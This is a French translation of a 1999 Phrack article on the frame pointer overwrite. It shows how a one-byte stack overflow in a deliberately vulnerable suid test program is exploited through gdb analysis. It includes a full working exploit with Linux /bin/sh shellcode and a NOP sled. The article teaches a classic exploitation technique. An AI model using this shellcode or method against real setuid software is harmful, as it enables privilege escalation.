Version txt

-------[  Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 08 of 19 ]


-------------------------[  The Frame Pointer Overwrite  ]


--------[  klog <klog@promisc.org>  ]

--------[ Traduction par tbowan pour arsouyes.org

----[  Introduction

Les tableaux peuvent être débordés, et en écrasant des données critiques
stockées dans l'espace d'adressage du processus cible, on peut modifier son
flux d'exécution. Ce n'est pas nouveau. Cet article ne traitera pas de la
manière d'exploiter les débordements de tampons [NDT : "buffer overflow"
dans la suite], ni n'expliquera la vulnérabilité elle-même. Il va juste
montrer qu'il est possible d'exploiter ce genre de vulnérabilité même dans
les pires conditions, tel que lorsqu'on ne peut déborder le tableau que
d'un seul octet. Plein d'autres techniques ésotériques où le but est
d'exploiter un processus sûr dans la situation la plus hostile existent, y
compris quand les privilèges sont retirés. Nous ne traiterons que du "one
byte overflow" [NDT : débordement d'un seul octet].

----[  L'objet de notre attaque

Écrivons un programme suid pseudo vulnérable, que nous appelerons "suid".
Il est écrit de manière à ce qu'un octet déborde de son tableau.

	ipdev:~/tests$ cat > suid.c
	#include <stdio.h>

	func(char *sm)
	{
        	char buffer[256];
        	int i;
        	for(i=0;i<=256;i++)
                	buffer[i]=sm[i];
	}

	main(int argc, char *argv[])
	{
        	if (argc < 2) {
                	printf("missing args\n");
                	exit(-1);
        	}

	        func(argv[1]);
	}
	^D
	ipdev:~/tests$ gcc suid.c -o suid
	ipdev:~/tests$

Comme vous pouvez le voir, nous n'avons pas beaucoup de place pour
exploiter ce programme. En fait, le débordement est causé par un seul octet
de trop par rapport à la taille du tableau. Nous allons devoir l'utiliser
de manière intelligente. Avant d'exploiter quoi que ce soit, nous devrions
regarder ce que cet octet écrase vraiment (vous le savez probablement déjà
mais... on s'en fiche). Réassemblons la pile avec gdb, au moment où le
débordement à lieu.

	ipdev:~/tests$ gdb ./suid
	...
	(gdb) disassemble func
	Dump of assembler code for function func:
	0x8048134 <func>:       pushl  %ebp
	0x8048135 <func+1>:     movl   %esp,%ebp
	0x8048137 <func+3>:     subl   $0x104,%esp
	0x804813d <func+9>:     nop
	0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
	0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
	0x8048152 <func+30>:    jle    0x8048158 <func+36>
	0x8048154 <func+32>:    jmp    0x804817c <func+72>
	0x8048156 <func+34>:    leal   (%esi),%esi
	0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
	0x804815e <func+42>:    movl   %edx,%eax
	0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
	0x8048166 <func+50>:    movl   0x8(%ebp),%edx
	0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
	0x804816f <func+59>:    movb   (%edx),%cl
	0x8048171 <func+61>:    movb   %cl,(%eax)
	0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
	0x8048179 <func+69>:    jmp    0x8048148 <func+20>
	0x804817b <func+71>:    nop
	0x804817c <func+72>:    movl   %ebp,%esp
	0x804817e <func+74>:    popl   %ebp
	0x804817f <func+75>:    ret
	End of assembler dump.
	(gdb)

Comme on le sait, le processeur va d'abord mettre %eip sur la pile, via
l'instruction CALL. Ensuite, notre petit programme va mettre %ebp au
dessus, comme on le voit en *0x8048134. enfin, il active le cadre courant
en décrémentant %esp par 0x104. ceci signifie que nos variables locales
prendrons 0x104 octets de long (0x100 pour la chaine, 0x004 pour l'entier).
Notez que l'espace des variables est physiquement aligné sur 4 octets, et
donc, un buffer de 255 octets prendra autant de place qu'un buffer de 256.
On peut maintenant avoir une idée de notre pile avant que le débordement
n'ai lieu :

	saved_eip
	saved_ebp
	char buffer[255]
	char buffer[254]
	    ...
	char buffer[000]
	int i

Ceci signifie que l'octet qui débordera va écraser la sauvegarde du
pointeur de cadre [NDT : saved frame pointer], qui est mis sur la pile au
début de func(). Mais comment pouvons-nous utiliser cet octet pour modifier
le flux d'exécution du programme ? Regardons ce qu'il arrive à l'image
d'%ebp. Nous savons déjà qu'il est restauré à la fin de func(), comme on
peut le voir en *0x804817e. Mais après ?

	(gdb) disassemble main
	Dump of assembler code for function main:
	0x8048180 <main>:       pushl  %ebp
	0x8048181 <main+1>:     movl   %esp,%ebp
	0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
	0x8048187 <main+7>:     jg     0x80481a0 <main+32>
	0x8048189 <main+9>:     pushl  $0x8058ad8
	0x804818e <main+14>:    call   0x80481b8 <printf>
	0x8048193 <main+19>:    addl   $0x4,%esp
	0x8048196 <main+22>:    pushl  $0xffffffff
	0x8048198 <main+24>:    call   0x804d598 <exit>
	0x804819d <main+29>:    addl   $0x4,%esp
	0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
	0x80481a3 <main+35>:    addl   $0x4,%eax
	0x80481a6 <main+38>:    movl   (%eax),%edx
	0x80481a8 <main+40>:    pushl  %edx
	0x80481a9 <main+41>:    call   0x8048134 <func>
	0x80481ae <main+46>:    addl   $0x4,%esp
	0x80481b1 <main+49>:    movl   %ebp,%esp
	0x80481b3 <main+51>:    popl   %ebp
	0x80481b4 <main+52>:    ret
	0x80481b5 <main+53>:    nop
	0x80481b6 <main+54>:    nop
	0x80481b7 <main+55>:    nop
	End of assembler dump.
	(gdb)

Chouette ! Après que func() ait été appelé vers la fin du main(), %ebp va
être restauré en %esp, comme on le voit en *0x80481b1. Ceci signifie qu'on
peut donner une valeur arbitraire à %esp. Mais souvenez vous que cette
valeur arbitraire n'est pas "vraiment" arbitraire, puisqu'on ne peut
modifier que son dernier octet. Voyons voir si nous avons raison.

	(gdb) disassemble main
	Dump of assembler code for function main:
	0x8048180 <main>:       pushl  %ebp
	0x8048181 <main+1>:     movl   %esp,%ebp
	0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
	0x8048187 <main+7>:     jg     0x80481a0 <main+32>
	0x8048189 <main+9>:     pushl  $0x8058ad8
	0x804818e <main+14>:    call   0x80481b8 <printf>
	0x8048193 <main+19>:    addl   $0x4,%esp
	0x8048196 <main+22>:    pushl  $0xffffffff
	0x8048198 <main+24>:    call   0x804d598 <exit>
	0x804819d <main+29>:    addl   $0x4,%esp
	0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
	0x80481a3 <main+35>:    addl   $0x4,%eax
	0x80481a6 <main+38>:    movl   (%eax),%edx
	0x80481a8 <main+40>:    pushl  %edx
	0x80481a9 <main+41>:    call   0x8048134 <func>
	0x80481ae <main+46>:    addl   $0x4,%esp
	0x80481b1 <main+49>:    movl   %ebp,%esp
	0x80481b3 <main+51>:    popl   %ebp
	0x80481b4 <main+52>:    ret
	0x80481b5 <main+53>:    nop
	0x80481b6 <main+54>:    nop
	0x80481b7 <main+55>:    nop
	End of assembler dump.
	(gdb) break *0x80481b4
	Breakpoint 2 at 0x80481b4
	(gdb) run `overflow 257`
	Starting program: /home/klog/tests/suid `overflow 257`

	Breakpoint 2, 0x80481b4 in main ()
	(gdb) info register esp
	esp            0xbffffd45       0xbffffd45
	(gdb)

Il semblerait que nous avions raison. Après avoir débordé le buffer d'un
'A' (0x41), %ebp devient %esp, qui est incrémenté de 4 puisque %ebp est
retiré de la pile juste avant le RET. Ce qui nous donne 0xbffffd41 + 0x4 =
0xbffffd45.


----[  Se préparer

Qu'est ce que nous rapporte le fait de changer le pointeur de pile ? Nous
ne pouvons pas changer directement la valeur d'%eip comme dans n'importe
quelle exploitation de buffer overflow conventionnel, mais nous pouvons
faire croire au processeur qu'il est ailleur. quand le processeur fait un
retour depuis une procédure, il ne fait que dépiler le premier mot sur la
pile, pensant que c'est l'%eip original. Mais si nous altérons %esp, nous
pouvons faire dépiler n'importe quelle valeur de la pile par le processeur,
comme si c'était %eip et donc, changer le flux d'exécution. Essayons de
déborder le tableau en utilisant cette chaine :

	[nops][shellcode][&shellcode][%ebp_altering_byte]

Pour le faire, nous devons d'abord déterminer avec quelle valeur nous
allons altérer %ebp (et donc %esp). Regardons à ce que ressemble la pile
quand le débordement aura eu lieu :

	saved_eip
	saved_ebp (altered by 1 byte)   
	&shellcode			\
	shellcode			 |  char buffer 
	nops				/
	int i

Ici, nous voulons que %esp pointe vers &shellcode, pour que l'adresse du
shellcode soit dépilée et mise dans %eip quand le processeur fera le retour
du main(). Maintenant que nous avons toutes les connaissances que nous
voulons pour exploiter notre programme vulnérable, nous devons extraire
l'informations du processus pendant qu'il fonctionne dans le contexte où il
sera exploité. Cette information consiste en l'adresse du buffer débordé et
l'adresse de notre pointeur vers notre shellcode (&shellcode). Lançons le
programme comme si nous voulions le déborder avec une chaine de 257 octets.
Pour le faire, nous devons écrire un faut exploit qui va reproduire le
contexte dans lequel nous exploiterons ce processus vulnérable.

	(gdb) q
	ipdev:~/tests$ cat > fake_exp.c
	#include <stdio.h>
	#include <unistd.h>

	main()
	{
        	int i;
        	char buffer[1024];
	
	        bzero(&buffer, 1024);
	        for (i=0;i<=256;i++)	
	        {
	                buffer[i] = 'A';
	        }
	        execl("./suid", "suid", buffer, NULL);
	}
	^D
	ipdev:~/tests$ gcc fake_exp.c -o fake_exp
	ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid
	...
	(gdb) run
	Starting program: /home/klog/tests/exp2

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x8048090 in ___crt_dummy__ ()
	(gdb) disassemble func
	Dump of assembler code for function func:
	0x8048134 <func>:       pushl  %ebp
	0x8048135 <func+1>:     movl   %esp,%ebp
	0x8048137 <func+3>:     subl   $0x104,%esp
	0x804813d <func+9>:     nop
	0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
	0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
	0x8048152 <func+30>:    jle    0x8048158 <func+36>
	0x8048154 <func+32>:    jmp    0x804817c <func+72>
	0x8048156 <func+34>:    leal   (%esi),%esi
	0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
	0x804815e <func+42>:    movl   %edx,%eax
	0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
	0x8048166 <func+50>:    movl   0x8(%ebp),%edx
	0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
	0x804816f <func+59>:    movb   (%edx),%cl
	0x8048171 <func+61>:    movb   %cl,(%eax)
	0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
	0x8048179 <func+69>:    jmp    0x8048148 <func+20>
	0x804817b <func+71>:    nop
	0x804817c <func+72>:    movl   %ebp,%esp
	0x804817e <func+74>:    popl   %ebp
	0x804817f <func+75>:    ret
	End of assembler dump.
	(gdb) break *0x804813d
	Breakpoint 1 at 0x804813d
	(gdb) c
	Continuing.

	Breakpoint 1, 0x804813d in func ()
	(gdb) info register esp
	esp            0xbffffc60       0xbffffc60
	(gdb)

Bingo. Nous avons maintenant %esp juste après que le cadre de func() ait
été activé. Avec cette valeur, on peut devinier que notre tableau se
trouvera à l'adresse 0xbffffc60 + 0x04 (size of 'int i') = 0xbffffc64, et
que le pointeur vers notre shellcode sera placé à l'adresse 0xbffffc64 +
0x100 (taille de notre "char buffer[256]") - 0x04 (taille de notre
pointeur) = 0xbffffd60.


----[  L'heure de l'attaque

Avoir ces valeurs nous permet d'écrire une version complète de l'exploit,
incluant le shellcode, le pointeur vers le shellcode et l'octet de
débordement. La valeur nécessaire pour écraser le dernier octets de %ebp
est de 0x60 - 0x04 = 0x5c car, comme vous vous en souvenez, nous dépilons
%ebp juste avant de retourner depuis le main(). Ces 4 octets seront
compenseront pour que %ebp soit retiré de la pile. Comme pour notre
pointeur vers le shellcode, nous n'avons pas besoin qu'il pointe vers une
adresse précise. Tout ce qu'on a besoin est de faire retourner le
processeur au milieu des nops, entre le début du tableau écrasé
(0xbffffc64) et notre shellcode (0xbffffc64 - sizeof(shellcode)), comme
dans un buffer overflow classique. Utilisons donc 0xbffffc74.

	ipdev:~/tests$ cat > exp.c
	#include <stdio.h>
	#include <unistd.h>

	char sc_linux[] =
	        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
	        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
	        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
	        "\xd7\xff\xff\xff/bin/sh";

	main()
	{
        	int i, j;
        	char buffer[1024];

        	bzero(&buffer, 1024);
        	for (i=0;i<=(252-sizeof(sc_linux));i++)
        	{
                	buffer[i] = 0x90;
        	}
        	for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        	{
        	        buffer[i] = sc_linux[j];
        	}
        	buffer[i++] = 0x74; /*
       		buffer[i++] = 0xfc;  * Address of our buffer
        	buffer[i++] = 0xff;  *
        	buffer[i++] = 0xbf;  */
        	buffer[i++] = 0x5c;

        	execl("./suid", "suid", buffer, NULL);

	}
	^D
	ipdev:~/tests$ gcc exp.c -o exp
	ipdev:~/tests$ ./exp
	bash$

chouette ! Regardons un peut mieux sur ce qu'il s'est vraiment passé. Bien
que nous ayons construit notre exploit autour de la théorie que j'ai mise
dans ce papier, ça serait bien de regarder tout marcher ensemble. Vous
pouvez vous arreter de lire maintenant si vous avez tout compris jusqu'ici,
et commencer à chercher des vulnérabilités.

	ipdev:~/tests$ gdb --exec=exp --symbols=suid
	...
	(gdb) run
	Starting program: /home/klog/tests/exp

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x8048090 in ___crt_dummy__ ()
	(gdb)

Plaçons d'abord des breakpoints pour surveiller prudement l'exploitation de
notre programme suid pendant qu'elle se déroule sous nos yeux. Nous
devrions tenter de suivre la valeur de notre pointeur de cadre écrasé
jusqu'à ce que notre shellcode commence son exécution.

	(gdb) disassemble func
	Dump of assembler code for function func:
	0x8048134 <func>:       pushl  %ebp
	0x8048135 <func+1>:     movl   %esp,%ebp
	0x8048137 <func+3>:     subl   $0x104,%esp
	0x804813d <func+9>:     nop
	0x804813e <func+10>:    movl   $0x0,0xfffffefc(%ebp)
	0x8048148 <func+20>:    cmpl   $0x100,0xfffffefc(%ebp)
	0x8048152 <func+30>:    jle    0x8048158 <func+36>
	0x8048154 <func+32>:    jmp    0x804817c <func+72>
	0x8048156 <func+34>:    leal   (%esi),%esi	
	0x8048158 <func+36>:    leal   0xffffff00(%ebp),%edx
	0x804815e <func+42>:    movl   %edx,%eax
	0x8048160 <func+44>:    addl   0xfffffefc(%ebp),%eax
	0x8048166 <func+50>:    movl   0x8(%ebp),%edx
	0x8048169 <func+53>:    addl   0xfffffefc(%ebp),%edx
	0x804816f <func+59>:    movb   (%edx),%cl
	0x8048171 <func+61>:    movb   %cl,(%eax)
	0x8048173 <func+63>:    incl   0xfffffefc(%ebp)
	0x8048179 <func+69>:    jmp    0x8048148 <func+20>
	0x804817b <func+71>:    nop
	0x804817c <func+72>:    movl   %ebp,%esp
	0x804817e <func+74>:    popl   %ebp
	0x804817f <func+75>:    ret
	End of assembler dump.
	(gdb) break *0x804817e
	Breakpoint 1 at 0x804817e
	(gdb) break *0x804817f
	Breakpoint 2 at 0x804817f
	(gdb)

Ces premiers breakpoints nous permettrons de surveiller le contenu de %ebp
avant et après avoir été empilé et dépilé. Ces valeurs correspondront à la
valeur originale et écrasée.

	(gdb) disassemble main
	Dump of assembler code for function main:
	0x8048180 <main>:       pushl  %ebp
	0x8048181 <main+1>:     movl   %esp,%ebp
	0x8048183 <main+3>:     cmpl   $0x1,0x8(%ebp)
	0x8048187 <main+7>:     jg     0x80481a0 <main+32>
	0x8048189 <main+9>:     pushl  $0x8058ad8
	0x804818e <main+14>:    call   0x80481b8 <_IO_printf>
	0x8048193 <main+19>:    addl   $0x4,%esp
	0x8048196 <main+22>:    pushl  $0xffffffff
	0x8048198 <main+24>:    call   0x804d598 <exit>
	0x804819d <main+29>:    addl   $0x4,%esp
	0x80481a0 <main+32>:    movl   0xc(%ebp),%eax
	0x80481a3 <main+35>:    addl   $0x4,%eax
	0x80481a6 <main+38>:    movl   (%eax),%edx
	0x80481a8 <main+40>:    pushl  %edx
	0x80481a9 <main+41>:    call   0x8048134 <func>
	0x80481ae <main+46>:    addl   $0x4,%esp
	0x80481b1 <main+49>:    movl   %ebp,%esp
	0x80481b3 <main+51>:    popl   %ebp
	0x80481b4 <main+52>:    ret
	0x80481b5 <main+53>:    nop
	0x80481b6 <main+54>:    nop
	0x80481b7 <main+55>:    nop
	End of assembler dump.
	(gdb) break *0x80481b3
	Breakpoint 3 at 0x80481b3
	(gdb) break *0x80481b4
	Breakpoint 4 at 0x80481b4
	(gdb)

Ici, nous voulons surveiller le transfert de notre %ebp écrasé vers %esp et
le contenu de %esp jusqu'au retour du main(). Lançons alors le programme.

	(gdb) c
	Continuing.

	Breakpoint 1, 0x804817e in func ()
	(gdb) info reg ebp
	ebp            0xbffffd64       0xbffffd64
	(gdb) c
	Continuing.

	Breakpoint 2, 0x804817f in func ()
	(gdb) info reg ebp
	ebp            0xbffffd5c       0xbffffd5c
	(gdb) c
	Continuing.

	Breakpoint 3, 0x80481b3 in main ()
	(gdb) info reg esp
	esp            0xbffffd5c       0xbffffd5c
	(gdb) c
	Continuing.

	Breakpoint 4, 0x80481b4 in main ()
	(gdb) info reg esp
	esp            0xbffffd60       0xbffffd60
	(gdb)

Au début, nous voyons la valeur originale de %ebp. ensuite, dépilé de la
pile, on voit qu'elle a été remplacée par celle dont le dernier octet a été
écrasé par notre chaine, 0x5c. Après ça, %ebp va dans %esp et enfin, après
que %ebp soit dépilé une nouvelle fois de la pile, %esp est incrémenté de 4
octets. Ce qui nous donne une valeur finale de 0xbffffd60.
Regardons un peu ce qu'il s'y trouve.

	(gdb) x 0xbffffd60
	0xbffffd60 <__collate_table+3086619092>:        0xbffffc74
	(gdb) x/10 0xbffffc74
	0xbffffc74 <__collate_table+3086618856>:        0x90909090      
	0x90909090	0x90909090       0x90909090
	0xbffffc84 <__collate_table+3086618872>:        0x90909090      
	0x90909090	0x90909090       0x90909090
	0xbffffc94 <__collate_table+3086618888>:        0x90909090      
	0x90909090
	(gdb)

On peut voir que 0xbffffd60 est l'adresse d'un pointeur vers le milieu des
nops, juste avant notre shellcode. Quand le processeur va retourner du
main(), il va dépiler ce pointeur dans %eip, et sauter à l'adresse précise
de 0xbffffc74. C'est à ce moment que notre shellcode sera exécuté.

	(gdb) c
	Continuing.

	Program received signal SIGTRAP, Trace/breakpoint trap.
	0x40000990 in ?? ()
	(gdb) c
	Continuing.
	bash$ 


----[  Conclusions

Bien que cette technique semble chouette, quelque problèmes restent non
résolus. Altérer le flux d'exécution d'un programme avec un seul octet pour
écraser des données est, bien sûr, possible, mais sous quelles conditions ?
En fait, reproduire le contexte d'exploitation peut être une tâche
difficile dans un environnement hostile, ou pire, sur un hôte distant. Ça
nécessitera que nous devinions la taille exacte de la pile de notre
processus cible. À ce problème, on ajoute la nécessité que notre buffer
soit juste à côté de la sauvegarde du pointeur de cadre, ce qui signifie
que notre tableau doit être la première variable déclarée dans la fonction.
il est inutile de dire que l'alignement doit aussi être pris en
considération. Et si on parle d'architecture en big endian ? On ne peut se
permettre de ne pouvoir écraser que l'octet de poids fort du pointeur de
cadre, à moins d'avoir la possibilité d'atteindre la nouvelle adresse...

Des conclusions peuvent être tirées de cette situation presque impossible à
exploiter. Je serais bien surpris d'entendre que quelqu'un ai appliqué
cette technique à une vulnérabilité réelle, mais ceci prouve qu'il n'y a
pas de petits et gros débordements, ni de petites et grosses
vulnérabilités. Toute faille est exploitable, il faut juste trouver
comment.

Merci à : binf, rfp, halflife, route


----[  EOF

le 20/06/2008 par klog [trad TboWan]